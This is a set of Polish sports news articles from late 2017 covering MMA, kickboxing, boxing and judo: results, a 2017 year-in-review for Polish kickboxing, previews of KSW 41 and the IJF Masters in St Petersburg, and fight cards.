Gwiazda polskiego MMA Joanna Jędrzejczyk stoczyła w 2017 roku dwie walki. W pierwszym starciu zawodniczka pochodząca z Olsztyna pokonała Jessicę Andrade. Polka była gwiazdą UFC i posiadaczką pasa w wadze słomkowej. Do czasu. W listopadzie Jędrzejczyk stanęła do szóstej obrony mistrzowskiego pasa, jednak zanotowała pierwszą w karierze porażkę. W premierowej odsłonie starcia na gali UFC 217 w Nowym Jorku Polka przegrała przez nokaut z Rose Namajunas.

Ważnym wydarzeniem kończącego się roku był powrót do UFC legendy MMA Georgesa St. Pierre'a. Cztery lata temu Kanadyjczyk pokonał Johny'ego Hendricksa i zapisał na swoim koncie 25 zwycięstwo. Wrócił w wielkim stylu. Na gali UFC 217 w Nowym Jorku St. Pierre pokonał Michaela Bispinga i sięgnął po pas mistrzowski w wadze średniej. Warto wspomnieć, że wcześniej 36-latek rywalizował w kategorii półśredniej.

Pięć gal w ciągu dwunastu miesięcy – to dorobek organizacji Fight Exclusive Night, która promuje MMA i K-1. Tegoroczna podróż zaczęła się w Lubinie a zakończyła we Wrocławiu. Na gali FEN 19 znakomity debiut w zawodowym MMA zaliczyła Magdalena Rak, która pokonała Raffaeli Milner. We Wrocławiu fenomenalnie zaprezentował się Gabriel Al-Sulwi. W drugiej rundzie "Arab" pokonał Bartłomieja Brzezińskiego. Z narożnika "Rubego" poleciał ręcznik.

Drugie urodziny Ladies Fight Night i dwie gale! To było coś niezwykłego. Niesamowite widowiska, wspaniałe walki i najlepsze zawodniczki rywalizujące w MMA i K-1. Zwycięstwa odniosły m.in. Sylwia Juśkiewicz, Natalia Leciejewska, Marta Waliczek, Katarzyna Lubońska i Katarzyna Posiadała.

KM

Podsumowanie 2017 roku w polskim kickboxingu

Po świętach, a przed sylwestrem towarzyszy nam refleksja na temat kończącego się roku. Analizujemy, wyciągamy wnioski i chcemy, aby kolejne dwanaście miesięcy przyniosło wiele radosnych chwil. Kończący się 2017 rok był niezwykle owocny dla polskiego kickboxingu.

Na szczycie

W lipcu we Wrocławiu było niezwykle gorąco. A to za sprawą walki o medale w dziesiątej edycji The World Games – Igrzysk Sportów Nieolimpijskich. W gronie dyscyplin, które mogli podziwiać kibice znalazł się kickboxing, który był tzw. sportem na zaproszenie. Polacy pokazali moc. Do walki o medale stanęło 11 biało-czerwonych, a sześcioro wywalczyło medale. Po złote krążki sięgnęli Marta Waliczek (60kg) i Dawid Kasperski (86kg). O krok od triumfu byli Michał Ronkiewicz (75kg) oraz Mateusz Pluta (91kg), którzy w walkach finałowych przegrali odpowiednio z Zakarią Laaoutanim i Igorem Darmeszkinem. Brązowe krążki zawisły na szyjach Małgorzaty Dymus (56kg) i Wojciecha Kazieczko (67kg). Na najlepszej drodze do sukcesu znajdowali się Arkadiusz Kaszuba (81kg) oraz Michał Turyński (+91kg), którzy wygrali pojedynki ćwierćfinałowe, ale na przeszkodzie stanęły im urazy i musieli wycofać się z turnieju. Co najważniejsze, Polacy wygrali klasyfikację medalową! Ogromny sukces, który był pokazem siły naszego kickboxingu.

Kolejnym znaczącym wydarzeniem 2017 roku były mistrzostwa świata w Budapeszcie. Znakomity występ biało-czerwonych, którzy do kraju wrócili z 31 medalami. Na ten dorobek złożyło się dwanaście złotych, cztery srebrne i piętnaście brązowych krążków. Najwięcej, bo dziesięć medali, zdobyła kadra w K-1, a co ciekawe – zawodnicy byli najmłodsi spośród wszystkich startujących. Tytuły sprzed dwóch lat obronili: Paulina Jarzmik (60kg) w kick light i light contact, Iwona Nieroda (56kg) w low kick i Piotr Wypchał (89kg) w kick light.

Nasza przyszłość w rękach młodych, a więc trzeba patrzeć na postępy adeptów. We wrześniu śledziliśmy zmagania juniorów i kadetów w mistrzostwach Europy, które odbyły się w Skopje. Biało-czerwoni uplasowali się w gronie najlepszych za sprawę 66 medali, w tym dziewięciu złotych. Najwięcej krążków na swoim koncie zapisali zawodnicy rywalizujący w low kick – czternaście.

Decyzję o przejściu na sportową emeryturę podjęła utytułowana Dorota Godzina. Wielokrotna medalistka mistrzostw Polski podczas gali DSF Kickboxing Challenge 11 pokonała Sylwię Kaliś. Na swoim koncie Dorota Godzina zapisała m.in. trzykrotnie amatorskie mistrzostwo świata, dwukrotne mistrzostwo Europy, a na płaszczyźnie zawodowej – mistrzostwo świata WAKO Pro oraz pas DSF do 56kg.

Siegoczyński na czele związku

W kwietniu odbyły się wybory prezesa Polskiego Związku Kickboxingu. Z kandydowania zrezygnował Andrzej Palacz, który przez wiele lat sprawował tę funkcję. Delegaci na nowego prezesa wybrali legendę polskiego kickboxingu Piotra Siegoczyńskiego. Mistrz świata z 1985 roku z Budapesztu pokonał Gerarda Zdziarskiego i Krzysztofa Bulandę.

26 września 2017 roku zapisał się złotymi literami w historii polskiego kickboxingu. Związek został włączony w poczet członków zwyczajnych Polskiego Komitetu Olimpijskiego.

KM

 

Przedświąteczna bitwa

Nie chodzi o przedświąteczny szał zakupowy i walkę z czasem, aby zdążyć ze wszystkim przed pierwszą gwiazdką. 23 grudnia fani MMA będą mieli szansę na chwilę oderwać się od sprzątania i gotowania. A to za sprawą gali KSW 41, która odbędzie się w Katowicach.

Na szali pojawią się dwa pasy mistrzowskie: kategorii piórkowej i półśredniej. W Katowicach w KSW zadebiutuje Tomasz Oświeciński.

Starcie gigantów

Wszyscy oczekują widowiska. Wielką uwagę przykłada się do starcia Popka Monstera z Tomaszem Oświecińskim. "Strachu" stoczy pierwszą walkę w mieszanych sztukach walki. Popek zaprezentuje się na KSW po raz trzeci. Wygrał z Robertem Burneiką, przegrał z Mariuszem Pudzianowskim. Obie walki kończyły się w pierwszych rundach. Popek i Oświeciński mocno napompowali balon i sami nie szczędzili sobie gorzkich fraz. Pojedynek zweryfikuje, który z nich nie rzucał słów na wiatr.

Wyzwanie przed Damianem Janikowskim, który w maju na Stadionie Narodowym efektownie zadebiutował w KSW. Teraz brązowy medalista olimpijski w zapasach z Londynu przejdzie prawdziwy test. Przyjdzie mu się zmierzyć z najbardziej doświadczonym polskim zawodnikiem MMA – Antonim Chmielewskim. Doświadczenie jest atutem 35-latka, jednak Janikowski chce w KSW zaistnieć i wejść na sportowy szczyt. Czy Chmielewski zatrzyma napór silnego niczym tur zawodnika? 35-latek przegrał dwie ostatnie walki i chciałby złapać oddech. Odkąd wrócił do KSW, marzec 2016 roku, wygrał jeden z trzech pojedynków.

Po raz czwarty pasa w wadze półśredniej będzie bronił Borys Mańkowski. "Diabeł Tasmański" wraca do rywalizacji po przegranej walce z Mamedem Khalidowem w superfight na gali KSW 39 Colosseum. 28-latek pokazał się w Warszawie z dobrej strony i toczył wyrównany bój z legendą organizacji, ale doświadczenie urodzonego w Groznym zawodnika wzięło górę. W Katowicach Mańkowski miał stanąć w szranki z Dricusem Du Plessisem. Zawodnik znakomicie prezentujący się na własnym terenie, mistrz EFC, musiał zrezygnować z udziału w KSW 41 z powodu kontuzji. W jego miejsce wskoczył groźny Roberto Soldić, który nazywany jest "nowym CroCopem".  Bośniak ma passę sześciu zwycięstw z rzędu. 11 z 12 wygranych walk zakończył przed czasem. Zapowiada się gorące starcie.

Kleber Koike Erbst może zrewanżować się Arturowi Sowińskiemu za porażkę sprze dwóch lat i zachować pas mistrzowski kategorii piórkowej. 28-latek będzie bronił tytułu po raz pierwszy. Erbst wywalczył pas w maju w Warszawie, gdzie pokonał Marcina Wrzoska. Ten z kolei odebrał wcześniej tytuł Sowińskiemu. Co ciekawsze, Wrzosek również wystąpi w Katowicach. Jego rywalem będzie Roman Szymański.

Karta walk gali KSW 41:

Walka wieczoru o pas kategorii półśredniej: -77 kg: Borys Mańkowski – Roberto Soldic

-120 kg: Popek Monster  – Tomasz Oświeciński

O pas w kategorii piórkowej: -66 kg: Kleber Koike Erbst – Artur Sowiński

-66 kg: Marcin Wrzosek – Roman Szymański

-120 kg: Fernando Rodrigues Jr  – Michał Andryszak

-84 kg: Damian Janikowski  – Antoni Chmielewski

-70 kg: Kamil Szymuszowski – Grzegorz Szulakowski

-66 kg: Łukasz Rajewski  – Salahdine Parnasse

-70 kg: Maciej Kazieczko  – Gracjan Szadziński

Fot. Borys Mańkowski Facebook

KM

Co się odwlecze…

Można zacierać ręce. W wadze ciężkiej w boksie od pewnego czasu jest niezwykle ciekawie. Niewykluczone, że na początku marca dojdzie do oczekiwanego pojedynku pomiędzy Deontayem Wilderem a Luisem Ortizem.

Gdy do ringu wchodzi dwóch niepokonanych bokserów musi być ciekawie. Wszyscy wierzą, że tak będzie w tym przypadku.

Był falstart

Wszystko było już dopięte na ostatni guzik. Wilder i Ortiz mieli zmierzyć się 4 listopada w Nowym Jorku, ale tak się nie stało. Bywa tak, że panna młoda ucieknie sprzed ołtarza. Czasami na ostatniej prostej ktoś się potknie i nici z marzeń. Czasami na drodze zatrzyma nas policyjna kontrola i trzeba liczyć się z mandatem. W tym przypadku chodzi o trzecią sytuację. Testy antydopingowe dały wynik pozytywny u Ortiza. Co ciekawe, kilka dni wcześniej Wilder apelował do rywala, aby ten przestrzegał przepisów. Z czasem Kubańczyk został oczyszczony przez WBC z okarżeń stosowanie dopingu. Ale walka przepadła…

Jednak "nie ma tego złego, co by…" i tak dalej. Wieść niesie, że prędzej czy później mistrz świata WBC zmierzy się z niepokonanym Ortizem. Wilder był obecny na ostatniej walce Kubańczyka. 38-latek dał pokazał siły i już w drugiej rundzie walki w Hialeah położył na deski Daniela Martza. Na Wilderze triumf Ortiza nie zrobił większego wrażenia i otwarcie mówił, że pokona Kubańczyka, choć użył zdecydowanie mocniejszych słów. Z kolei popularny "King Kong" podkreślił, że w oczach mistrza świata WBC wagi ciężkiej dostrzegł strach. Zaczęła się psychologiczna wojna, więc czas przejść na kolejny poziom wtajemniczenia.

Porozumienie coraz bliżej

"Do zakochania jeden krok, jeden jedyny krok nic więcej" – w tym przypadku raczej nie o to chodzi, ale w trawie piszczy, że niewiele brakuje do porozumienia między obozami obu pięściarzy. Według ostatnich doniesień, pojedynek miałby odbyć się 3 marca w Barclays Center na Brooklynie.

Luis Ortiz czeka na największy sukces w karierze. Dotychczas był tymczasowym mistrzem WBA. 38-latek chce pokazać, że jego dopingowa przeszłość to już tylko wspomnienie i prezentuje najwyższy poziom sportowy. Kubańczyk wygrał wszystkie 28 walk i z pewnością będzie najtrudniejszą przeszkodą na drodze Wildera, który tytuł WBC wywalczył blisko trzy lata temu i dotychczas sześciokrotnie skutecznie go bronił.

Tym razem Amerykanin jest również pewny swego. – Zapytałem go, kiedy chce walczyć i powiedział, że może teraz. Będę zabiegał o to starcie. Myślę, że pokonam go w czterech rundach – powiedział Deontay Wilder.

Fot. Deontay Wilder Facebook

KM

 

Nadal tylko jeden medal

Polscy judocy nie poprawili swojego dorobku w zawodach International Judo Federation Masters. W Petersburgu najlepiej z naszych zaprezentował się Maciej Sarnacki (+100kg), który zajął piąte miejsce. W klasyfikacji medalowej triumfowała Japonia

W turnieju IJF Masters wystąpiło pięcioro Polaków. Marzenia czterech judoczek szybko zostały przekreślone. Do końca o medal walczył Maciej Sarnacki (+100kg).

Zabrakło niewiele

Urszula Sadkowska (+78kg) nadal pozostaje jedyną reprezentantką Polski, która stanęła na podium zawodów Masters. Siedem lat temu judoczka sięgnęła po brąz. W kolejnych startach naszym wiodło się różnie, niektórym do zdobycia medalu brakowało naprawdę niewiele. Tym razem było podobnie. 30-letni Maciej Sarnacki, w swoim debiucie w IJF Masters, zajął piątą pozycję. W tym roku zawodnik olsztyńskiej Gwardii po raz kolejny musiał obejść się smakiem. O krok od podium był również podczas mistrzostw Europy, które w kwietniu odbyły się w Warszawie.

Co do występu Sarnackiego w Petersburgu, w pierwszym starciu Polak trafił na dwukrotnego wicemistrza Azji Iuria Krakovetskiego. 25-latek wytrzymał tylko dwie minuty. Sarnacki szybko załatwił sprawę, a jego kolejnym rywalem był Stanislav Bondarenko. Ukrainiec po raz trzeci startował w turnieju Masters i osiągnął najlepszy wynik — był siódmy, ale rywalizację z judoką Gwardii przegrał.  O finał Polakowi przyszło walczyć z liderem światowych list. David Moura zapisał na swoim koncie dwukrotnie waza-ari, zaś Sarnacki dwie kary shido i musiał walczyć o brąz.  Alex Garcia Mendoza postawił trudne warunki Polakowi. Obaj zawodnicy próbowali, ale decydującą akcję przeprowadził Kubańczyk.

Szczęścia nie miała Anna Borowska (57kg). W pierwszej walce Polka trafiła na wicemistrzynię świata i złotą medalistkę azjatyckiego czempionatu Tsukasę Yoshidę. Zacięty pojedynek stoczyła Agata Ozdoba-Błach (63kg), jednak ostatecznie musiała uznać wyższość Mungunchimeg Baldorj z Mongolii. Równie krótko trwała przygoda z rosyjskim turniejem Agaty Perenc (52kg) i Beaty Pacut (78kg).

Japonia najlepsza

Funa Tonaki (48kg), Miku Tashiro (63kg), Ryuju Nagayama (60kg) i Soichi Hashimoto – wywalczyli złote medale dla Kraju Kwitnącej Wiśni. Ich koledzy dołożyli jeszcze dwa srebra i brąz, co pozwoliło Japonii triumfować w klasyfikacji końcowej.

Trzy złota na swoim koncie zapisali Gruzini (łącznie pięć medali i druga lokata w klasyfikacji generalnej), a po dwa zdobyli judocy z Rosji (pięć) i Mongolii (cztery).

W Petersburgu zaprezentowało się 212 judoków.

KM

Bokserskie transfery do MMA?

Każde doświadczenie jest cenne i warto próbować realizować się w nowych obszarach. Coraz częściej słyszymy doniesienia o bokserach, którzy mieliby rywalizować w MMA. W ostatnim czasie w tym gronie znaleźli się Artur Szpilka, Krzysztof Zimnoch i Mateusz Masternak.

To znak czasów — zapytają niektórzy? Wzrasta popularność MMA, a co za tym idzie i możliwości. Jak jest naprawdę?

Czas MMA?

Fani sportów walki emocjonują się galami UFC, a w krajowym wydaniu KSW, FEN czy PLMMA. Ściskają kciuki za swoich ulubieńców i dostrzegają, że grono chętnych do wejścia do oktagonu stale się powiększa. Co ciekawe, pojawiają się ciekawe nazwiska znane z bokserskich ringów. Swego czasu James Toney zdecydował się rywalizować w MMA, z naszych zawodników można wymienić Rafała Jackiewicza.

W sierpniu świat patrzył na Las Vegas. Bo doszło do spotkania boksera i fightera MMA, czyli Floyda Mayweathera Jr. i Conora McGregora. Areną walki nie był oktagon, lecz ring. Choć mówimy o tych, którzy pięściarstwo chcą zamienić na MMA warto zauważyć, że pewien przełom się dokonał. Granica zaczyna się zacierać. Giełda nazwisk jest szeroka. Oczywiście obowiązują jeszcze pewne zasady i kanony, więc |(chyba) nagle Anthony Joshua czy Vasyl Łomaczenko nie zapragną rywalizować w MMA. A Tony Ferguson czy Jose Aldo nie obiorą odwrotnej drogi. Chyba nie jesteśmy jeszcze na takim etapie, choć wszystko przed nami. 

Popularność MMA rośnie, dyscyplina ma coraz więcej fanów, a jej zasięg powiększa się. Boks nie stoi na straconej pozycji, bo to fantastyczna dyscyplina, ale wielokrotnie walki nie są tak widowiskowe jak te w oktagonie. Najlepszą reklamą ringowych potyczek było starcie Włdmira Kliczko i Anthony’ego Joshuy. Kibice chcieliby więcej takich strać. A co do samych zawodników, czy pojawiło się zagrożenie, że zdecydują się na emigrację? Zapewne są tacy, którzy będą chcieli spróbować sił w MMA, ale nie dotyczy to pierwszoplanowych postaci. Raczej tych próbujących się odbudować i szukających nowej ścieżki.

W końcu walka Zimnocha i Szpilki?

Temat ten ciągnie się niczym wenezuelska telenowela i ciągle wraca. Panowie mają rachunki do wyrównania, jednak ciągle im nie po drodze. Niedawno Krzysztof Zimnoch wyjawił, że chce spróbować swoich sił w MMA. Od razu pojawiły się doniesienia na temat jego potyczki ze Szpilką. Spotkania „Szpili” ze współwłaścicielem KSW Martinem Lewandowskim utkwiły w pamięci kibiców. Już latem mówiło się o możliwości rywalizacji boksera z Wieliczki na gali najlepszej organizacji MMA w Polsce. Obaj mają za sobą trudne ringowe doświadczenia. Szpilka przegrał z Adamem Kownackim, a Zimnoch z Joeyem Abellem. Czy będą próbowali odbudować się w MMA?

Niedawno z ust byłego mistrza Europy w wadze junior ciężkiej Mateusza Masternaka padły słowa o chęci walki w oktagonie. Deklaracja 30-latka dotarła do uszu właścicieli KSW, którzy planują spotkanie z pięściarzem. Z tym, że Masternak ma dobrą serię, bo cztery ostatnie ringowe potyczki wygrał.

Kiedyś mówiło się, że w MMA mieliby rywalizować Krzysztof Włodarczyk i Tomasz Adamek. „Góral” odrzucił propozycję KSW. Ale jak widać bokserzy są łakomym kąskiem, ale wcześniej musieli zaistnieć. Zatem mają być magnesem, gwiazdami gal. Jednak warto zadać pytanie — czy MMA dla tych, którzy zmienią profesję ma być tzw. deską ratunku, a może jednak dalszą ścieżką rozwoju? Pożyjemy i zobaczymy, kto zdecyduje zamienić ring na oktagon.

KM

Najlepsi powalczą w Petersburgu

Zbliżają się zawody International Judo Federation Masters, które odbędą się w najbliższy weekend w Petersburgu. Nie zabraknie polskich akcentów. W Rosji zaprezentuje się pięcioro biało-czerwonych.

W dotychczasowej historii IJF Masters Polacy zdobyli jeden medal. Czy w Petersburgu wzbogacą swój dorobek?

Najlepsi

Trzeba otwarcie przyznać, że IJF Masters to starcie tytanów, judo na najwyższym poziomie, uczta dla fanów dyscypliny. Dlaczego? Bo w turnieju startują najlepsi z najlepszych.  W IJF Masters rywalizują judoczki i judocy z miejsc 1-16 światowego rankingu. Zdarza się jednak, że ktoś nie potwierdzi udziału w imprezie. Wtedy w jego miejsce wskakuje zawodnik z dalszej pozycji. Zatem stawka jest niezwykle wyrównana i czasami wskazanie faworytów jest niczym wróżenie z fusów. Jedno jest pewne — w szale przedświątecznych przygotowań, miłośnicy judo nie mogą przegapić zmagań w Petersburgu.

Polscy kibice będą ściskać kciuki za: Agatę Perenc (52kg), Annę Borowską (57kg), Agatę Ozdobę-Błach (63kg), Beatę Pacut (78kg) oraz Macieja Sarnackiego (+100kg). Smak rywalizacji w turnieju Masters z wymienionego grona poznała tylko tegoroczna brązowa medalistka mistrzostw świata, które odbyły się w Budapeszcie. Jednak ze startu w Rabacie Ozdoba-Błach nie ma najlepszych wspomnień. W tym roku akcje Polki stoją wysoko, judoczka zajmuje 16. miejsce w światowym rankingu i jest na fali. Odniosła największy sukces w karierze, stanęła na trzecim stopniu podium mistrzostw świata, wygrała zawody w Mińsku, a w Pradze i Abu Dhabi zdobyła brązowe medale. A na polu prywatnym wyszła za mąż. W ostatnim czasie w życiu 29-latki dzieje się wiele pozytywnych rzeczy, dlatego do Petersburga jedzie z nadziejami na kolejny dobry wynik.

Nie da się ukryć, że Anna Borowska osiąga bardzo dobry wyniki. W światowym rankingu 23-letnia Polka plasuje się na 20. lokacie. W tym roku triumfowała w trzech turniejach — w Pradze, Casablance i Taszkiencie. Do tego Borowska dołożyła brąz w Mińsku, blisko podium była w Hadze. Z kolei w Grand Slam w Abu Dhabi zajęła 7. pozycję, co jest jej najlepszym wynikiem w zawodach tej rangi. Równą formę prezentuje również Agata Perenc. W tym roku zawodniczka Polonii Rybnik stawała na każdym stopniu podium. Imponuje również 22-letnia Beata Pacut. Judoczka osiągnęła najlepszy wynik w karierze zajmując 2. miejsce w Grand Prix w Taszkiencie. Ostatnio wywalczyła brąz mistrzostw Europy U23.

Piętnasty w światowym rankingu jest Maciej Sarnacki. Judoka Gwardii Olsztyn był o krok od medalu mistrzostw Europy, w Warszawie zajął 5. miejsce. Jesienią Sarnacki imponował formą, co miało odzwierciedlenie w jego wynikach. W Abu Dhabi i Hadze Polak awansował do rywalizacji o złoto, ale w obu przypadkach przegrał.

Poprawić dorobek

W 2010 roku w Suwon Urszula Sadkowska (+78kg) wywalczyła brąz i jak dotąd jest to jedyny medal Polski w zawodach IJF Masters. Biało-czerwoni mogli poprawić ten wynik we wcześniejszych startach, jednak musieli obejść się smakiem.

W 2011 roku w Baku Janusz Wojnarowicz (+100kg) uplasował się na 5. pozycji, tak jak i rok później w Ałma Acie Tomasz Kowalski (66kg) i Tomasz Adamiec (73kg).  Ostatni występ, 2016 Guadalajara, z Polaków na IJF Masters zaliczyła Arleta Podolak (57kg), ale odpadła w eliminacjach.

fot. IJf/Facebook

KM

Czy Błachowicz pójdzie za ciosem?

Przed 34-letnim Polakiem ósma walka w UFC. 16 grudnia na gali w MTS Centre w Winnipeg Jan Błachowicz zmierzy się z Jaredem Cannonierem.

Trzy lata trwa przygoda polskiego fightera z najlepszą organizacją MMA na świecie. W tym czasie nie brakowało wzlotów i upadków.

Był pod ścianą

Jan Błachowicz miał fantastyczne wejście do UFC.  W październiku 2014 roku, na gali UFC Fight Night 53, zawodnik pochodzący z Cieszyna potrzebował niespełna dwóch minut, aby pokonać Ilira Latifiego. Mocne kopnięcie w głowę i zapędy Szweda zostały powstrzymane. Błachowicz mógł tylko zwieńczyć dzieło i cieszyć się z pięknego rozpoczęcia przygody w UFC. Tym samym zamknął usta niedowiarkom. Ale jak wiadomo — czas wszystko weryfikuje. Kolejne walki Błachowiczowi po prostu nie wyszły. Przegrał przed polską publicznością w Krakowie z Jimim Manuwą, a następnie zanotował porażkę w starciu z Coreyem Andersonem.  Akcje Polaka spadły, a jego przyszłość w UFC stanęła pod znakiem zapytania.

Błachowicz musiał pokonać w Zagrzebiu zawodnika gospodarzy — Igora Pokrajaca. I zrobił to! Były mistrz KSW śmiało poczynał sobie w klatce. Druga i trzecia runda w jego wykonaniu wyglądały bardzo dobrze. Polak sprowadzał rywala do parteru i częstował go ciosami. Sędziowie jednogłośnie wskazali na zwycięstwo Błachowicza, który mógł odetchnąć z ulgą. W kolejnej walce musiał stawić czoła mocnemu Alexandrowi Gustafssonowi. Szwed wracał do rywalizacji po blisko rocznej absencji, jednak szybko przejął inicjatywę. Błachowicz nie mógł się odnaleźć, Gustafsson sprowadzał walkę do parteru i konsekwentnie zmierzał do zwycięstwa. 34-latek miał odbudować się w pojedynku z Patrickiem Cumminsem, ale mu się nie udało.

Ponownie sytuacja Błachowicza wyglądała nieciekawie. 34-latek dostał szansę na zaprezentowanie się przed własną publicznością. Tym razem w Gdańsku. Takiego Błachowicza kibice chcieliby oglądać zawsze. Polak okazał się skuteczny do bólu, o czym dotkliwie przekonał się Devin Clark. W drugiej rundzie 34-latek pochodzący z Cieszyna wygrał przez duszenie zza pleców i otrzymał bonus — 50 tysięcy dolarów.  Trzy zwycięstwa, cztery porażki — to bilans Polaka w UFC. Czy na gali UFC on Fox 26 poprawi tę statystykę?

Wygrana na święta

Dla Jana Błachowicza najlepszym prezentem pod choinkę będzie wygrana 16 grudnia z Jaredem Cannonierem. Początkowo Amerykanin miał rywalizować z Antonio Rogeiro Nogueirą. Brazylijczyk wypadł jednak z karty walk z racji problemów z amerykańską agencją dopingową, a jego miejsce zajął Błachowicz. Dotychczas 33-letni Amerykanin stoczył pięć walk w UFC, z których wygrał trzy. Łącznie ma na koncie dziesięć triumfów w dwunastu starciach. Ostatnio przed czasem pokonał Nicka Roehricka. Warto dodać, że Cannonier większość pojedynków kończy przed czasem.

Obaj chcą wygrać po raz czwarty w UFC. Błachowicz mógłby wykonać krok w stronę najlepszej dziesiątki kategorii półciężkiej. 34-latek jeszcze nigdy nie wygrał dwóch walk z rzędu w UFC. Będzie ten pierwszy raz?

Fot. Jan Błachowicz Facebook

KM

Łomaczenko obronił pas WBO

Wasyl Łomaczenko po raz kolejny udowodnił wielką klasę i obronił pas mistrza świata WBO wagi super piórkowej. W Nowym Jorku wyższość Ukraińca musiał uznać Guillermo Rigondeaux. Do niespodzianki doszło w Londynie. James DeGale przegrał niejednogłośnie na punkty z Calebem Truaxem i stracił tytuł mistrza świata IBF wagi super średniej.

W przypadku Wasyla Łomaczenko mówiło się, że czeka go trudne wyzwanie. Rigondeaux to znakomity defensor, ale Ukrainiec skutecznie skruszył mury obronne rywala.

Pełna dominacja

29-letni Łomaczenko ma na swoim koncie dwa mistrzostwa olimpijskie. Jego kariera amatorska była niezwykle bogata. Już wtedy udowodnił, że drzemią w nim ogromne możliwości. Na zawodowym ringu pojawił się w październiku 2013 roku i przez nokaut pokonał Jose Ramireza. Była to znakomita zapowiedź dalszej ścieżki ukraińskiego pięściarza. Obecnie Łomaczenko uchodzi za niezwykle mocnego pięściarza, na którego czeka jeszcze wiele wyzwań. 29-latek zachwyca, a jego promotor Bob Arum rozpływa się w pochwałach nad jego możliwościami.

W Nowym Jorku rywalem Łomaczenki był niepokonany Guillermo Rigondeaux. Pierwsza runda rozpoznawcza. Nikt nie chciał zaryzykować, bo obaj pięściarze zdawali sobie sprawę z klasy rywala. Ale w kolejnych minutach obraz walki diametralnie się zmienił. Łomaczenko przyspieszył tempo, skutecznie atakował i kontrolował pojedynek. Dynamiczne akcje Ukraińca wprawiały w zakłopotanie Kubańczyka, który preferuje zdecydowanie wolniejsze tempo. Łomaczenko trafiał całymi seriami, Rigondeaux był bezradny i nie potrafił się skutecznie bronić. Jedynym ratunkiem dla 37-latka był klincz. W szóstej rundzie Łomaczenko zdemolował rywala. Po niej Kubańczyk poddał się, powód: kontuzja lewej ręki.

Dla Ukraińca było to dziesiąte zwycięstwo w karierze. Łomaczenko obronił pas WBO wagi super piórkowej, teraz ma atakować kategorię lekką.

Niespodzianka

W maju 2015 roku w Bostonie James DeGale pokonał jednogłośnie na punkty Andre Dirrella i sięgnął po pas mistrza świata IBF kategorii super średniej. Anglik trzy razy skutecznie bronił tytułu. Kolejnym pięściarzem, który chciał pozbawiać DeGale'a pasa był Caleb Truax.

34-letni Amerykanin zaskoczył mistrza. Truax nie pozostawał bierny i wywierał presję na rywalu, który musiał się bronić. Od piątego starcia sytuacja DeGale'a wyglądała coraz gorzej. Anglik przyjmował mocne ciosy, a jego reakcje w żaden sposób nie zagrażały pretedentowi. Truax wygrał niejednogłośnie na punkty – 116:112, 115:112, 114:114. Niespodzianka stała się faktem, DeGale stracił pas.

Fot. Facebook Wasyl Łomaczenko

KM

Efektowny początek Turyńskiego

Michał Turyński wybrał się do Chin, aby wziąć udział w turnieju King of Kungfu Champion Fight 2017. Polski kickboxer udanie rozpoczął zmagania i w pierwszej walce wygrał przez nokaut.

Zawodnik Punchera Wrocław nie raz pokazał, że potrafi z powodzeniem rywalizować na arenie międzynarodowej. Czy w turnieju, który odbywa się w Qianan w prowincji Hebei Polak odniesie kolejny sukces?

Efektowny wojownik

Rywalizujący w wadze ciężkiej Turyński to jeden z najbardziej rozpoznawalnych polskich kickboxerów. Wszystkich wprawił w euforię w marcu 2016 roku, kiedy w Sarajewie wywalczył pas zawodowego mistrza świata organizacji WAKO. Turyński pokonał lokalnego faworyta Dzevada Poturaka. Zacięta walka, niezwykle twarda i pełna emocji. Polak wygrał niejednogłośnie na punkty, czym wprawił w rozpacz rywala i wywalczył pas w wadze superciężkiej. Bośniak przegrał po raz pierwszy od dwunastu lat na własnym terenie!

Ale Turyński może pochwalić wieloma sukcesami, które pozwoliły mu wypracować markę cenionego kickboxera. Nie tylko w kraju, ale i poza jego granicami. Wystarczy wspomnieć o dwóch złotych medalach Pucharów Świata i brązie mistrzostw Europy w K-1. W tym roku zawodnik miał zapisać na swoim koncie krążek The World Games. Turyńskiemu przyszło rywalizować we Wrocławiu, więc mógł liczyć na gorący doping. Zawodnik pochodzący z Ciepłowód dostał dziką kartę od organizatorów i wymieniany był jako faworyt do złota. Los jednak mu nie sprzyjał. W ćwierćfinale Polak znokautował Chorwata Ante Verunicę, ale odnowiła mu się kontuzja stopy i musiał pożegnać się z marzeniami o medalu.

Ostatnio kibice mogli podziwiać Michała Turyńskiego podczas gali DSF 11. Zawodnik Fightera Wrocław zaprezentował się w meczu Polska – Francja, który biało-czerwoni pewnie wygrali 5:0. Turyński rozstrzygnął swoją walkę już w pierwszej odsłonie. Kevin Minounmana był bezradny wobec latającego kolana Polaka.

Teraz Michał Turyński obrał kierunek Chiny. W pierwszej walce już zachwycił obserwatorów i pokazał, że jest fighterem najwyższej klasy. Rywal z Chin był bezradny wobec dyspozycji, przygotowania i doświadczenia Turyńskiego, który zwyciężył w drugiej rundzie. Polak wyprowadził wysokie kopnięcie na głowę i znokautował przeciwnika. W kolejnej rundzie Turyński zmierzy się z Tsotne Rogavą. Walka odbędzie się 12 grudnia.

Mocny rywal 

Z pewnością rywalizacja z Tsotne Rogavą będzie dla Turyńskiego ogromnym wyzwaniem. Zawodnik reprezentujący Ukrainę jest mistrzem świata muay thai. W pierwszej walce pokonał znanego Konstantina Gluhova, którego znokautował kopnięciem na głowę. Mający gruzińskie korzenie Rogava potrafi walczyć niezwykle efektownie i skutecznie. Szykuje się ciekawa walka. Oby po niej cieszył się zawodnik z Polski.

Fot. pzkickboxing.pl

KM

DSF Kickboxing Challenge 12

DSF Kickboxing Challenge 12: Ceremonia ważenia w piątek 8 grudnia o 13:00 w Restauracji Champions

Po rocznej przerwie kibicom K-1 znów udzieli się niepowtarzalny sportowy klimat warszawskiej Restauracji Champions, w której 9 grudnia odbędzie się gala DSF Kickboxing Challenge 12: Najlepsi z Najlepszych II. Dzień wcześniej o godzinie 13:00 w tym samym miejscu odbędzie się oficjalna ceremonia ważenia, na której oprócz zawodników występujących na sobotniej gali obecni będą także przedstawiciele złotego pokolenia polskiego kickboxingu – m.in. Przemysław Saleta i pierwszy mistrz świata znad Wisły – Piotr Siegoczyński.

Gala DSF Kickboxing Challenge 12 to najmocniej obsadzona impreza kickbokserska tego roku. Odbędą się na niej dwie arcyciekawe walki o mistrzowskie pasy, a także wyczekiwany debiut w federacji Daniela Omielańczuka oraz wieńczące wspaniałą trylogię K-1 starcie stołecznej gwiazdy hip hopu Jurasa Wrońskiego ze zwycięzcą turnieju DSF Eliminator Piotrem Sokołem. Dopełnieniem tego kickbokserskiego święta będzie benefis polskich legend sportu z Markiem Piotrowskim, Przemysławem Saletą, Marcinem Różalskim, Piotrem Siegoczyńskim i Agnieszką Rylik na czele.

